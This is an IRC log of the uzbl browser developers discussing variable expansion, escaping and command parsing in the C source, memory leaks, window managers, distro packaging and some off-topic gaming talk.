12:07 < Zaba> DuClare, I do
12:07 < DuClare> :) http://hikari.serveftp.org/shots/0008.png
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12:08 < Zaba> that's what I get after I make the whole thing redraw somehow
12:08 < DuClare> mxey, Why does it sound strange?  The height of the body is the height of the content inside body.. if the content doesn't cover the whole page, then the body wouldn't colour the whole page. :x
12:09 < mxey> Because the body used to be all you can see in a page.
12:09 < mxey> HTML is a big fuckup.
12:09 < Zaba> mxey, body usually is
12:09 < mxey> I try to stay away from it nowadays.
12:10 < Zaba> mxey, I am the only person I know who was perverted enough to make <head> visible.
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12:10 < mxey> Zaba: oh great
12:10 < Zaba> mxey, but it was that or duplicate <title> in a <h1> on every bloody page, dude!
12:11 < DuClare> Zaba, Actually, I might want to try that.  I'm in for getting rid of redundant element.
12:11 < DuClare> That's why I actually use body's borders & bg for the content part (why make a separate div for the content?) and the whole bg is set for html
12:11 < DuClare> elements*
12:11 < DuClare> Meh.
12:11 < mxey> I just use Markdown, that is at least a little bit sane.
12:11 < Zaba> mxey, heh
12:12 < Zaba> mxey, it generates divful bullshit
12:12 < DuClare> Well, it's turned to html
12:12 < Zaba> my site doesn't have divs at all, it's all in the body
12:12 < mxey> Yes, but I do not have to touch it.
12:12 < mxey> 'Joey hates programming web crap, and hates being locked into a web browser to do something, and this probably shows in the design choices made in ikiwiki'
12:13 < DuClare> I hate the web in general
12:13 < Zaba> it's too full of people who abuse, or even worse, are paid to abuse it.
12:13 < DuClare> And I don't write html by hand either.. I write S-expressions. :)
12:14 < DuClare> Zaba, It's also full of technologies that are impossible to support completely, yet these technologies are never enough for the web developers
12:14 < Zaba> I don't really see a problem with writing html by hand, as long as it stays rather simple
12:15 < DuClare> I'd like to see one robust language & protocol replace http, ajax, js, a bunch of markups, css, ...
12:15 < Zaba> I have the same problem with majority of generated HTML as I have with majority of generated troff.
12:15 < Zaba> It's horrible crap and got everything wrong and I actually care.
12:18 < Dieterbe> DuClare> :) http://hikari.serveftp.org/shots/0008.png <-- beatiful screenie.
12:19 < DuClare> :)
12:21 < mxey> http://upload.ghosthacking.net/newsbeuter-imlayout.jpeg
12:22 < mxey> XMonad.Layout.IM is extremly cool :>
12:23 < DuClare> XMonad is extremely cool :>
12:24 < Dieterbe> i wish xmonad was a small C program instead of a haskell thing
12:24 < Dieterbe> then i would try it instead of wmii
12:25 < sECuRE> Dieterbe: http://i3.zekjur.net is a small C program and relatively wmii-like ;)
12:26 < mxey> If XMonad were a small C thing, it would not be XMonad, but something much less flexible.
12:26 < mxey> Now wait a few months and all those Vimperator screenshots will have been replaced by uzbl.
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12:27 < DuClare> :)
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12:29 < Dieterbe> sECuRE: actually i just want wmii with a tabbed layout, like in DuClare's screeshots
12:29 < Dieterbe> and ewmh support
12:29 < sECuRE> i see
12:29 < Zaba> ewmh?
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12:31 < DuClare> My latest cfg in case somebody cares.  http://hikari.serveftp.org/uzbl.conf
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12:35 < Zaba> DuClare, looks nice
12:36 < DuClare> It's for dvorak.  Every bind above the empty line dividing the binds is usable with left hand.
12:36 < Dieterbe>  keycmd_bs
12:36 < Dieterbe> hmz?
12:37 < DuClare> Dieterbe, Hardly useful yet, but I'm planning to remove the hardcoded functionality associated with Esc, backspace, ...
12:37 < Dieterbe> right
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12:39 < DuClare> After that you'd do something like bind <ESC> = chain 'keycmd' 'set insert_mode = 0' 'dehilight'
12:44 < Dieterbe> sECuRE: you use it? if it has the same fancy rc / plan9 stuff i might try it
12:45 < sECuRE> Dieterbe: actually i’m the developer. and, no, it does not have any of that plan9 stuff. we figured it’s not really necessary, and while seemingly providing flexibility, we wanted to have the core window management functions in C instead of shell-code going across three layers
12:45 < sECuRE> some similar mechanism for extending it will come eventually, thoguh
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13:02 < rob|> hmm, http://pastebin.com/m530b6ff3
13:04 < DuClare> Eww
13:05 < rob|> heh ;)
13:05 < DuClare> You're going character by character anyway
13:05 < DuClare> So can't you use the method used in split_quoted?
13:06 < rob|> oh, humm. didn't even look at that function
13:06 < DuClare> Basically, if a backslash is met, just add it and the next character without caring what it is
13:06 < DuClare> And increment the ptr by 2
13:07 < DuClare> This gives automatically the possibility to escape anything with a backslash, including other backslashes
13:07 < DuClare> Then you just check for the characters that have a syntactic significance
13:07 < DuClare> If you meet an '@', it MUST be an unescaped one, because the escaped @s have been added when a backslash was met
13:08 < rob|> hmm, but with that method you can't replace the vars with the values in one pass, can you? (i guess i got a knot in my brain :P)
13:08 < DuClare> In this case I'd use something like split_quoted, but simpler -- it wouldn't need to care about quotation characters and the argument that tells whether to unescape & unquote or not
13:09 < DuClare> rob|, You can if you build up a string by appending the characters (or the variable) as you go
13:09 < DuClare> backslash -> add it and the next character, jump to the character after them
13:09 < DuClare> @ -> add the variable if it's found and jump to the next character after the variable
13:09 < DuClare> any other character -> add it
13:10 < rob|> yeah, guess you're right
13:10 < rob|> i somehow don't like iterating char by char over the sring. not sure if we can do it better, though
13:11 < Zaba> better, like, how
13:11 < rob|> that's the question..
13:11 < DuClare> rob|, Well, you're already doing it (unless I misinterpreted your paste) so I thought it's inevitable :)
13:12 < DuClare> Wouldn't strstr iterate over it anyway?
13:12 < rob|> DuClare: well, the paste was the first thing i came up with. it doesn't mean there are no other/better methods :x
13:13 < DuClare> Right
13:13 < DuClare> Well, it gets messy
13:13 < DuClare> I've tackled with the problem a few times
13:13 < rob|> unfortunatelly :(
13:13 < DuClare> But now I realized how simple it is to simply add and skip two chars on a backslash and just continue from there..
13:18 < DuClare> rob|, Look at this older version of split_quoted, it's slightly simpler than the current one. http://github.com/DuClare/uzbl/blob/8268ba59ef4347354aa7d4e20d9a0d5194170e4f/uzbl.c
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13:19 < DuClare> You'd drop the code that handles single & double quotes and in their place add the code that expands a variable on @
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13:19 < DuClare> Meh.
13:19 < DuClare> 14'18'00 < DuClare> rob|, Look at this older version of split_quoted, it's slightly simpler than the current  one. http://github.com/DuClare/uzbl/blob/8268ba59ef4347354aa7d4e20d9a0d5194170e4f/uzbl.c
13:19 < DuClare> 14'19'00 < DuClare> You'd drop the code that handles single & double quotes and in their place add the code that  expands a variable on @
13:20 < rob|_> DuClare: right
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14:01 < rob|_> wohoo, variable expansion seems to be working :)
14:02 < Dieterbe> :o
14:04 < Dieterbe> rob|_: why don't we use the same functions for variable expansion as for the variable replacement in user_agent, window_title etc?
14:05 < Zaba> that'd be a good idea, indeed.
14:05 < sscj> and user defined variables
14:05 < Dieterbe> you would need a complete list of all possible variables though, but i don't think that's a problem
14:07 < rob|_> ok, pushed.  test it with something like:  set status_message = Settings: current uri=@uri quoted \@uri
14:09 < rob|_> Dieterbe: yeah, that would work though i'd add one more field to the variable table that marks a variable as read only
14:09 < rob|_> it doesn't seem to make much sense to allow changing e.g. WEBKIT_MAJOR
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14:10 < Dieterbe> right
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14:15 < Dieterbe> all this stuff puts quite some pressure on the concept of automatically adding certain parameters to things (eg the normal fifo_path etc, and the handler specific ones like visit_date for the history handler)
14:16 < rob|_> hrrm, still a bug in it
14:20 < rob|_> so, should be fixed. testing welcome
14:27 < rob|_> well, now we just need to add a function that allows the user to create his own vars. shouldn't be too much of a hassle, though
14:28 < Zaba> rob|_, what about a command/action for that?
14:29 < rob|_> not needed, "set uservar = value" will work
14:29 < Zaba> ah.
14:29 < Zaba> So that'll be the same as settings.
14:29 < rob|_> right
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14:30 < Dieterbe> sweet
14:30 < Zaba> hm
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14:31 < Zaba> there's an `act' command and a `runcmd' action.  That kinda begs for a merge of actions and commands...
14:31 < DuClare> Zaba, Already working on it
14:31 < Zaba> oh, nice.
14:32 < Zaba> DuClare, technically, will commands become actions or will actions become commands?
14:32 < rob|> DuClare: i did not include variable expansion in params to actions, do you want to integrate it as actions are more or less your baby ;)
14:36 < DuClare> rob|, Let's look into it when I'm done :>
14:36 < DuClare> Zaba, I'm moving commands to actions, and then am likely to rename actions to commands :p
14:36 < Zaba> DuClare, ok
14:37 < rob|> DuClare: alright, so i won't touch it until you finished the refactoring
14:37 < sscj> aren't commands actions anyway? or is there some semantic nuance I am missing
14:37 < Zaba> sscj, there is
14:37 < DuClare> sscj, Commans are things you read from pipes.  Actions are things you bind to keys.
14:38 < DuClare> sscj, And there's an action 'runcmd' which can run a command; and there's a command 'act' which runs an action
14:38 < DuClare> :>
14:38 < rob|> anyways, adding var axpansion shouldn't be much more work than "expanded_string = expand_vars(orig_string)"
14:38 < sscj> ah
14:38 < Zaba> sscj, commands are parsed in a if/else if/else chain; actions are kept in a hash table
14:38 < rob|> Zaba: no
14:39 < DuClare> rob|, One possible pitfall is the way it affects escapes.  Will we need yet another layer of escapes?  Anyway, it'll be sorted out eventually. :)
14:39 < Zaba> rob|, I thought it used glib's hashes for it...
14:39 < rob|> Zaba: both are kept in hash tables
14:40 < rob|> DuClare: hmm, we could circumvent this by just making the esc char for uzbl vars user defined..
14:40 < Zaba> 1492         /* SET command */
14:40 < Zaba> 1493         if(ctl_line[0] == 's' || ctl_line[0] == 'S') {
14:41 < rob|> Zaba: so? not sure what your point is...
14:41 < DuClare> Zaba, That's only to suppress unneccessary matching
14:41 < Zaba> DuClare, ah.
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14:50 < rob|> btw, how do you feel about caching a user defined amount of "input line"/keycmd->str - so you could hit a key to navigate through the last n entered commands
14:51 < rob|> i guess this would only mak sense with "foo_" bindings, though
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14:52 < DuClare> rob|, I was thinking that after no keys are hardcoded, one could write an action chain that calls a command history script
14:52 < DuClare> I.e. bind *<Return> = chain 'sh command_history.sh @keycmd' 'runkeycmd' or such
14:52 < Dieterbe> aren't we too much reinventing the wheel here? maybe we should consider an external lib (like readline, but smaller)
14:53 < rob|> yeah, seems reasonable
14:53 < rob|> Dieterbe: libuzbl ;)
14:53 < Dieterbe> :)
14:53 < DuClare> Dieterbe, Yes we are, and that's why I want an external prompt program :/
14:53 < DuClare> But I'm not aware of
14:54 < DuClare> +one
14:54 < rob|> i really think we should outsource the command interface to a lib with things get more stable and are well tested
14:54 < rob|> s/with/when/
14:54 < DuClare> Yep, I agree
14:54 < rob|> brr, i should turn off this damned auto abbrevs
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15:01 < justL> I'm still having trouble compiling
15:01 < justL> uzbl.c:55:26: error: libsoup/soup.h: No such file or directory
15:01 < justL> which lib should I install?
15:01 < rob|> libsoup?
15:01 < Zaba> libsoup
15:01 < mxey> It's really quite obvious.
15:02 < justL> but I have it
15:02 < Zaba> and you need to install its headers too, if they happen to be packaged separately
15:03  * rob| really likes how things are evolving :)
15:03 < DuClare> :)
15:03 < DuClare> I like the fact that there's somebody who mostly agrees with me on design decisions. :)
15:04 < rob|> hehe, dito ;)
15:04 < DuClare> Too often I find there's zero room for my ideas
15:04 < DuClare> (In other projects)
15:05 < rob|> yeah, i feel with you. most people don't appreciate truly dynamic, user buildable apps enough :(
15:05 < Dieterbe> group hug!
15:05  * Zaba does
15:08 < rob|> Dieterbe: you're in charge of organizing a RL uzbl release party as soon as we're ready for the first release :P
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15:09 < Bob_le_Pointu> (And write a How-To)
15:09 < Bob_le_Pointu> « How-To be more productive with Uzbl »
15:10 < mxey> uzbl users should be able to find their own way.
15:10 < Bob_le_Pointu> That's a correct How-To.
15:10 < Zaba> Bob_le_Pointu, I can write it, even on IRC: "Poke it till it bites, try things till it fails."
15:10 < sscj> I've noticed that I'm closing ff a whole lot more now. that is not a good thing :(
15:10 < Zaba> sscj, why are you starting it in the first place? :P
15:11 < sscj> until cookies are working, I'm stuck with ff
15:15 < Zaba> damned if I care about cookies..
15:16 < mxey> Until Firefox is working usably, I'm stuck with uzbl.
15:17 < mxey> ;)
15:17 < rob|> hmm, oloh's contributor ranking is somewhat stupid
15:18 < Dieterbe> rob|: you bet :)
15:19 < Dieterbe> (re: release party)
15:20 < mxey> Sounds like fun
15:22 < Dieterbe> it will be in belgium though :)
15:22  * DuClare gave rob| kudos though I don't know what that actually does in the system <,<
15:23  * rob| doesn't even have an oloh account
15:25  * Dieterbe neither
15:26 < DuClare> I signed up yesterday when I noticed it was tracking my commits
15:26 < sscj> what about libedit? http://www.thrysoee.dk/editline/
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15:29 < sscj> 48K installed
15:30 < sscj> compared to readlines 1072K
15:30 < mxey> is it source-compatible?
15:31 < mxey> it is, according to WP.
15:34 < mxey> At the moment libedit does not support UTF-8 and multi-byte character sets.  <- oh  fail
15:34 < sscj> oh
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15:37 < justL> the screenshots are so sexy :P
15:38 < rob|> :)
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15:44  * rob| votes for finally adding duc as a developer, he's been doing a great job
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15:46 < Dieterbe> right
15:46 < Dieterbe> DuClare: any objections?
15:47 < Sleepy_Coder> <DuClare> I hate DuClare, nowai
15:47  * Sleepy_Coder hides
15:48 < DuClare> Dieterbe, No objections.
15:48  * rob| slaps Sleepy_Coder with a 64bit pointer
15:48 < Sleepy_Coder> :O
15:48 < Sleepy_Coder> That was heavy. :(
15:48 < justL> uzbl up and running, yay
15:48 < rob|> Sleepy_Coder: you deserved it :P
15:48 < Sleepy_Coder> no I did not. :((((
15:49  * Sleepy_Coder hides in the corner
15:49 < rob|> hehe..
15:49 < Sleepy_Coder> Cannot wait to get back on Linux in an hour or two...
15:49 < Sleepy_Coder> Playing games on Windoze atm :<
15:49 < Sleepy_Coder> Just Unreal Tournament 3.
15:49  * justL gasps
15:50 < Sleepy_Coder> I'm waiting for them to release the Linux client. :3
15:50 < Sleepy_Coder> Supposedly this year..
15:50 < Sleepy_Coder> I've seen screenshots of it, it's quite sexy
15:50 < justL> I'm waiting for the crossplatform quakelive :/
15:50 < Sleepy_Coder> I cannot wait to see the performance reaped from running it on an OS not so bogged down by unused services. 3
15:50 < Sleepy_Coder> I'm actually getting tired of Quake... I tried to get back into playing Nexuiz but the net bandwidth is just too much.
15:50 < Sleepy_Coder> Or maybe the client-side prediction sucks...
15:51 < rob|> CSS!
15:51 < Sleepy_Coder> And after playing UT3, it just feels so graphically depressing...
15:51 < rob|> cs:s, rather..
15:51 < Sleepy_Coder> Also hate CS:S. :p  *runs*
15:51 < Sleepy_Coder> Maybe I need to learn Blender or some such...
15:51 < Sleepy_Coder> nexuiz really needs new models and maps
15:51 < justL> quakelive is pretty kickass for a webapp
15:51 < Sleepy_Coder> Better textures....  motion blur...
15:52 < Sleepy_Coder> I am also looking forward to the Linux Steam
15:52 < Sleepy_Coder> But I have no idea when that will be released.
15:52 < Sleepy_Coder> I've actually heard that the Linux Steam is being postponed because of the Linuxe Unreal Tournament
15:52 < Sleepy_Coder> Recently, Epic has been caitering the Unreal series on Steam
15:52 < rob|> steam sucks
15:53 < Sleepy_Coder> And the Linux Unreal Tournament has hit legal battles
15:53 < Sleepy_Coder> So I'm thinking it's causing a problem with porting it to the Source engine
15:53 < Sleepy_Coder> And Linux Steam wouldn't necessarily look so hot if it's just been ported for TF2.  They need a slew of games..
15:53 < Sleepy_Coder> Anyway, I'm excited.  That is for sure. :)
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16:51 < Zaba> Sleepy_Coder, is it just me, or are you always excited?
16:51 < Sleepy_Coder> ZOMG HIGHLIGHT
16:51 < Sleepy_Coder> And maybe. :p
16:51  * Sleepy_Coder fluffles Zaba
16:52 < Sleepy_Coder> On the 14 or so networks I lurk, there is very little talking people
16:52 < Sleepy_Coder> :<
16:52 < Zaba> 14 networks.. You've got too much free time :P
16:52 < Zaba> I'm just on 4.
16:53 < Sleepy_Coder> :D
16:53 < Sleepy_Coder> Well, 3 or so are about anonymity and are a bit small...
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17:22 < DuClare> Ewww.
17:22 < DuClare> Injecting hdler args is a freaking mess o_O
17:22 < Zaba> DuClare, rewrite it! :P
17:23 < DuClare> Zaba, That involves rewriting a bunch of other stuff.  Yes, I'm going to do it, but first I'll finish more important pieces.
17:23 < Zaba> I see.
17:24 < DuClare> Let's hope nobody looks at the code in the meanwhile .. ^^;
17:24  * Zaba should
17:24 < DuClare> It's full of CP
17:25 < Zaba> CP?
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17:25 < DuClare> A form of art >:)
17:25 < Zaba> oh.
17:27 < igglyb> :--)
17:28 < DuClare> igglyb, Hilight? :>
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17:33 < igglyb> DuClare, you bet ;)
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17:53 < Zaba> rob|_, will @var syntax be used for those variables in useragent/statusbar?
17:55 < mxey> Rubyrubyruby!
17:59 < Zaba> It looks like it isn't possible to set `command_indicator' to an empty string...
18:03 < rob|_> Zaba: "set command_indicator=<space>"  where <space> is a literal space
18:05 < Zaba> rob|_, it sets it to a space.  Or it gets turned into a space on the status bar.
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18:06 < rob|_> hmm, yeah
18:07 < Zaba> which is strange, because the regex does not capture \s*..
18:12 < rob|_> it does, that one uses greedy matching
18:12 < Zaba> I see.
18:14 < rob|_> you can easily fix it, though. search for SYM_MODE and check for ' ' in the g_string_append call
18:15 < rob|_> uzbl.behave.cmd_indicator==' '?"":uzbl.behave.cmd_indicator
18:16 < Zaba> That looks like an ugly hack, though..
18:16 < rob|_> yeah, the safe way would be to use strcmp
18:17 < Zaba> even then
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18:17 < pwlz> Hello
18:18 < rob|_> Zaba: well, feel free to fix it
18:18 < rob|_> hey pwlz
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18:18 < Dieterbe> evening dudes
18:19 < pwlz> I'm PLD Linux developer. I'm packaging uzbl for our distro. What is the version number of current uzbl? I have to fill "Version" tag (-:
18:19 < Zaba> I don't think there is one.
18:19 < DuClare> pwlz, So fill in a git commit or date
18:19 < DuClare> ==27070== 528 (523 direct, 5 indirect) bytes in 34 blocks are definitely lost in loss record 183 of 261
18:20 < Zaba> DuClare, ugh.
18:20 < DuClare> ==27070==    by 0x813980D: g_strdup (in /usr/lib64/libglib-2.0.so.0.1800.4)
18:20 < DuClare> ==27070==    by 0x406238: expand_template (uzbl.c:919)
18:20 < DuClare> ==27070==    by 0x408752: update_title (uzbl.c:1819)
18:20 < pwlz> OK, so I'll use date of last commit. thx.
18:20 < Zaba> So glib leaks?
18:20 < DuClare> Zaba, No, we leak
18:20 < Zaba> aha.
18:21 < Dieterbe> pwlz: if you want "stable" releases, pick the most recent tag from the master branch.
18:21 < Dieterbe> pwlz: in fact, there's only 1 tag at this point
18:22 < Dieterbe> pwlz: but note that we haven't done any release yet
18:22 < Dieterbe> s/"stable" releases/"stable" packages/
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18:28 < pwlz> Dieterbe: the most recent tag from the master branch is the tarball available at github?
18:29 < Dieterbe> yeah
18:29 < Dieterbe> but note that today or this weekend i'll probably make a new tag
18:30 < uranther> ya i want to contribute some code.. but you all totally lost me with all these commands and bind and actions and whatnot :P
18:30 < rob|_> pwlz: so add a message "if you encounter any bugs be sure to use the latest git version before opening any tickets" or something alike..
18:30 < Zaba> Dieterbe, http://sprunge.us/jBbD
18:31 < Dieterbe> rob|_ / pwlz or even better, just make a git package, if your package manager supports that
18:31 < DuClare> That'd be nicer.
18:32 < pwlz> Dieterbe: I can use the git version.
18:33 < Dieterbe> pwlz: just point to my clone on github then (and use the master branch, but that's default behavior)
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18:34 < Dieterbe> Zaba: looks good, i'll merge
18:35 < pwlz> Dieterbe: ok
18:36 < Dieterbe> Zaba: what should i enter as author?
18:37 < Zaba> if I'd committed it, it'd be Vsevolod Kozlov <zaba@thorium.homeunix.org>
18:39 < Deepspawn> Uzbl isn't deleting a stray fifo left by a previous uzbl that segfaulted. And I think writing  character in the status bar input is making uzbl crash
18:39 < Deepspawn> so it starts without the fifo
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18:40 < Deepspawn> it's not writing it, it's deleting it that causes uzbl crash
18:41 < Deepspawn> other characters like  also triggers this
18:42 < Dieterbe> uzbl _should not_ delete fifo /socket files from other processes
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18:42 < github> uzbl: Vsevolod Kozlov experimental SHA1-86d8f9b
18:42 < github> cleanup uzblctrl
18:42 < github> http://bit.ly/oSslP
18:42 < github> uzbl: Dieter Plaetinck experimental SHA1-e2f75a1
18:42 < github> formatting + clarification
18:42 < github> http://bit.ly/WsVYB
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18:44 < Zaba> Dieterbe, should be "its socket file"
18:45 < Dieterbe> crap
18:45 < Zaba> Dieterbe, and I think that description is kinda unfittingly long
18:46 < Zaba> Dieterbe, you don't have to say it uses a socket file when there's an option for it anyway, and such
18:47 < Zaba> but well.
18:47 < Dieterbe> it's usefull to mention that by design we only want this tool to work with the socket file. so people don't start wondering "why doesn't it work with the fifo?" for example
18:47 < Dieterbe> rob|_ & DuClare , i'll be merging in you guys' code. anything i should know? issues? regressions?
18:47 < uranther> what's the difference between the fifo and socket?
18:47 < Dieterbe> uranther: good question. i'll make this a faq item
18:48 < Zaba> uranther, awful lot of difference
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18:49 < DuClare> Dieterbe, Yeah.  I've implmented 'chain' and I've added keycmd_bs but chain doesn't work with handlers yet (actually works but I haven't committed) and keycmd_bs is bs until I finish something else. :)
18:49 < Zaba> Dieterbe, still, that doesn't justify for making some of uzblctrl's output exceed 80 characters on line :P
18:49 < DuClare> If I don't get any more leaks now, I'll commit the chain fix..
18:50 < DuClare> Dieterbe, Also, I spotted a leak in expand_template
18:50 < DuClare> Haven't looked into it since I'm working on other code atm
18:51 < Zaba> Dieterbe, I suggest "utility for interacting with uzbl through its socket file" or something in that sense.  Because otherwise it starts sounding somewhat like a marketing buzzword.
18:51 < mxey> It looks like the scroll functions of uzbl do not work in frames.
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18:51 < Zaba> mxey, yup, they do not
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18:52 < uranther> :>
18:52 < uranther> frames should be illegal anyways
18:54 < Dieterbe> :D
18:55 < uranther> is there a webkit option to disable them?
18:55 < uranther> there is in opera..
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18:55 < github> uzbl: Dieter Plaetinck experimental SHA1-2fff3ed
18:55 < github> <Zaba> Dieterbe, should be "its socket file" <Dieterbe> crap
18:55 < github> http://bit.ly/11M9Xu
18:55 < github> uzbl: Dieter Plaetinck experimental SHA1-aaa98f8
18:55 < github> faq entry about socket vs fifo
18:55 < github> http://bit.ly/19wXn7
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18:55 < Dieterbe> uranther: http://bit.ly/19wXn7
18:55 < DuClare> Meh.
18:55 < uranther> sweet thx :)
18:56 < Deepspawn> Dietierbe, uzbl shouldn't crash but it does, :) also if it can't create/get it's own fifo shouldn't be that a critical error? If it starts without it's fifo a lot of my bindings simply don't work
18:57 < Dieterbe> Deepspawn: of course. if it cannot create it's own fifo/socket it should abort.  but it should _not_ delete any already existing fifo/sockets
18:58 < Deepspawn> Dieterbe still it isn't doing neither, nor deleting or crashing. I wish it would do one or another. Failing silently it quite annoying
18:59 < Dieterbe> Deepspawn: yep
18:59 < DuClare> It does complain to stderr, on verbose at least.
19:02 < Deepspawn> Still I'm more concerned on the fact it crashes on the , delete event.
19:02 < DuClare> "the , delete event" ?
19:02 < Deepspawn> backspace
19:02 < DuClare> Oh
19:02 < DuClare> Don't use multibyte chars
19:03 < Dieterbe> rob|_ / DuClare : what do you guys think about changing expand_var to do variable replacement just like we do for user_agent, window_title etc?  we would just go over a list of all known/defined variables and replace them if they occur. the current expand_var looks a bit "raw"
19:04 < Deepspawn> O_o You know english is one of my secondary languajes I use multibyte chars all the time
19:04 < DuClare> Deepspawn, I proposed a workaround.  It's a known bug.  If you don't like it, you can also fix it :)
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19:09 < uranther> so do we need unicode-safe string handling functions?
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19:10 < rob|> in case it didn't get through, commit: added variable delimiters working like in the shell, e.g   "foo@{var}baz"
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19:10 < Dieterbe> rob|_ / DuClare : what do you guys think about changing expand_var to do variable replacement just like we do for user_agent, window_title etc?  we would just go over a list of all known/defined variables and replace them if they occur. the current expand_var looks a bit "raw"
19:10 < rob|> Dieterbe: well, i'm not sure how hairy it'll get to express that with gscanner
19:11 < rob|> also, expand_var() is not really polished yet, though it works at least ;)
19:13 < DuClare> Urrrrg.
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19:14 < github> uzbl: Dieter Plaetinck experimental SHA1-43b2dce
19:14 < github> duclare joins the club
19:14 < github> http://bit.ly/EFapb
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19:15 < DuClare> It hurts to see a leak I can't figure for life :x
19:15 < DuClare> Also, valgrinding is SLOW :(
19:16 < rob|> indeed
19:19 < Dieterbe> guys, i would like to apply http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-May/000013.html and http://lists.uzbl.org/pipermail/uzbl-dev-uzbl.org/2009-May/000014.html, any objections?
19:21 < uranther> word
19:21 < DuClare> Just make sure the debug flags remain active in experimental
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19:27 < Dieterbe> DuClare: yeah i'ld just add the $(CPPFLAGS)
19:27 < Dieterbe> and $(LDFLAGS)
19:28 < Dieterbe> without touching -ggdb
19:28 < DuClare> Ok.  If the rest works, then I guess it's fine.  I only use make for compiling, for now at least.
19:29 < Zaba> why is it CPPFLAGS, anyway?
19:29 < Zaba> Shouldn't CFLAGS fit better?
19:29 < DuClare> :)
19:31 < Dieterbe> why? CPPFLAGS are for the preprocessor
19:31 < Dieterbe> see http://stackoverflow.com/questions/495598/difference-between-cppflags-and-cxxflags-in-gnu-make
19:40 < DuClare>  1 files changed, 95 insertions(+), 18 deletions(-)
19:40 < DuClare> :<
19:41 < Zaba> DuClare, meh.
19:41 < Zaba> someone needs to shorten uzbl.c to =<2000 lines of code somehow
19:41 < Zaba> err <=2000
19:41 < Zaba> (wtf)
19:41 < DuClare> libuzbl ;)
19:41 < uranther> isn't it on the table to refactor that bitch into different files?
19:42 < Zaba> uranther, what for?...
19:42 < DuClare> Lots of work over nothing.. we might see some very fundemental changes if we implement this libuzbl concept
19:43 < uranther> make it easier to edit
19:43 < DuClare> Nope
19:43 < uranther> oh
19:43 < uranther> :P
19:43 < uranther> maybe that's a strange preference of mine
19:43 < DuClare> Unless the file size makes your editor magically crash
19:43 < uranther> lol
19:43 < uranther> i code in Notepad
19:44 < DuClare> That's not an editor
19:44 < Zaba> you use windows, how bad
19:44 < uranther> i'm playin
19:44 < uranther> i use vim
19:44 < Zaba> do you use vikeys for navigation?
19:44 < uranther> no
19:44 < Zaba> then you're wasting your time
19:44 < uranther> use w, gg, hjkl and whatnot
19:44 < Zaba> hjkl is vikeys
19:44 < uranther> oh
19:45 < uranther> i thought that was a plugin
19:45 < uranther> lol
19:45 < Zaba> no
19:45 < DuClare> In general, if a file contains >= 3 screenfuls of code, then it's at the point where more lines don't make editing any harder
19:45 < uranther> Zaba, how is hjkl faster than the arrows keys? just cuz it's on the home row?
19:48 < Zaba> uranther, that, and cause you don't needlessly move hands around when it comes to typing
19:48 < uranther> word
19:50 < uranther> are the plans for libuzbl going to be written out?
19:51 < DuClare> Well
19:52 < DuClare> It's not carved in stone
19:52 < DuClare> But I think it's likely that we'll give it a shot.
19:53 < Zaba> http://sprunge.us/HJBd <-- these do not look all that nice, really.
19:53 < DuClare> Also, I consider it an experiment.  It doesn't have to become a success, and we can always go back if the idea doesn't work.
19:54 < DuClare> Zaba, They don't really hurt, either.
19:54 < Zaba> DuClare, yeah, uzbl works fine so I guess it's alright
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20:12 < uranther> i'm not having any troubles zooming in all the way
20:12 < uranther> i have a "b" the size of my screen and it can still zoom
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20:33 < DuClare> Hmm.
20:33  * DuClare removes the SET cmd
20:37 < Dieterbe> uranther> Zaba, how is hjkl faster than the arrows keys? just cuz it's on the home row? <-- it's only on the home row if you have crap layouts
20:37 < DuClare> Hehe, true
20:38 < uranther> touche
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20:38 < uranther> Dieterbe, i set -Werror -pedantic-error and -std=c99 and am going through the errors now..
20:38 < Dieterbe> go nuts :P
20:39 < uranther> at first i tried -ansi and there were hundreds of errors..
20:39 < uranther> now, it's like 15
20:40 < DuClare>  2 files changed, 4 insertions(+), 23 deletions(-)
20:41 < DuClare> Now parse_cmd_line only has BIND, ACT and the htmlmode check
20:41  * pwlz created uzbl packages for PLD Linux ;)
20:41 < DuClare> pwlz, SCM?
20:41 < pwlz> thanks for great software. It is the only usable web browser I know ;)
20:41 < pwlz> DuClare: ? Do you ask about CVS link?
20:41 < DuClare> It's still horribly incomplete and likely to see major rework :)
20:42 < DuClare> pwlz, I ask if it's an scm package :)
20:42 < pwlz> DuClare: But it is usable without mouse
20:42 < DuClare> As is vimperator, conkeror..
20:42 < DuClare> Actually, I think those two work better for the time being. :)
20:43 < pwlz> DuClare: vimperator is an extension for fx. And fx is horribly slow...
20:43 < Dieterbe> i already feel where this discussion is going
20:43 < DuClare> Hm?
20:43 < Dieterbe> ..nowhere :)
20:43 < pwlz> DuClare: what do you mean by "SCM package"
20:43 < DuClare> Hehe.
20:44 < DuClare> pwlz, A package which pulls from source content manager
20:44 < DuClare> Git in this case. :x
20:44 < pwlz> DuClare: it is based on current git master
20:44 < DuClare> Based on..
20:44 < Dieterbe> on current?
20:44 < Dieterbe> that means your package is outdated tommorow :P
20:44 < DuClare> So you packaged a snapshot of the master?
20:45 < pwlz> yes
20:45 < pwlz> Dieterbe: So tommorrow I'll upgrade it. It is no problem since PLD is "always in development" distro
20:45 < DuClare> So it's not an scm package. :x
20:45 < pwlz> users upgrade it everyday
20:46 < Dieterbe> well it's not very efficient if you plan to update your package each time there are new commits in the branch
20:46 < Dieterbe> in fact, that just not how it should be done
20:47 < DuClare> Well, packaging snapshots has its benefits
20:47  * MarSoft_ created SVN-package (ebuild) for Gentoo Linux :)
20:48 < DuClare> It's more stable and it doesn't strain the SCM when users do their daily upgrades & installs.
20:48 < DuClare> (I.e. Gentoo discourages scm packages somewhat.  Most official "scm" packages are actually snapshots)
20:49 < MarSoft_> is SCM a Software Configuration Management ?
20:49 < Dieterbe> yeah but it's more work then having scm packages. especially if you plan to track development closely
20:49 < pwlz> Dieterbe: I'll update package once a time. When some interesting feature will be added or some importand bug will be fixed.
20:49 < DuClare> Source content manager/management
20:49 < MarSoft_> hm...
20:49 < DuClare> pwlz, So your users are at your mercy?
20:49 < DuClare> Unless they write their own package when they want new features quick
20:50 < DuClare> :]
20:50 < Dieterbe> pwlz: just note that pretty much every commit has bugfixes or new features :P
20:50 < pwlz> Dieterbe: every user can get .spec from our CVS, update version and post patch to spec
20:51 < pwlz> and post patch to our mailing list, so someone can update it in CVS
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20:52 < pwlz> ok, I have to go. Once again - thanks, I really like uzbl ;)
20:52 < pwlz> bye
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20:55 < rob|> DuClare: re. removing set, i suppose variables are set like "var = value" now?
20:57 < DuClare> Not yet
20:57 < DuClare> rob|, act set var = val
20:57 < DuClare> act will go when commands go
20:57 < DuClare> Then actions become commands
20:57 < DuClare> And everything is like before, except internally
20:58 < DuClare> No, I haven't done anything wrt merging the variable & action tables
